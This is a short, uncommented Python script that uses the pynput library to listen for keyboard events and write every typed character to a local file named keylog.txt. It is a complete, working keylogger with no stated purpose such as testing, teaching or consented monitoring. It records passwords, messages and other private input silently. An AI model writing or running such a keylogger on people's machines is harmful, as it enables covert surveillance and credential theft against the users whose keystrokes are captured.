

```
from pynput.keyboard import Listener

# Specify the log file path
log_file = "keylog.txt"

def write_to_file(key):
    key = str(key).replace("'", "")
    with open(log_file, "a") as file:
        # Format and write key presses, handling special keys
        if key == "Key.space":
            file.write(" ")
        elif key == "Key.enter":
            file.write("\n")
        elif "Key" in key:
            # Ignore other special keys like shift, ctrl, etc.
            pass
        else:
            file.write(key)

# Listener to capture key events
with Listener(on_press=write_to_file) as listener:
    listener.join()
```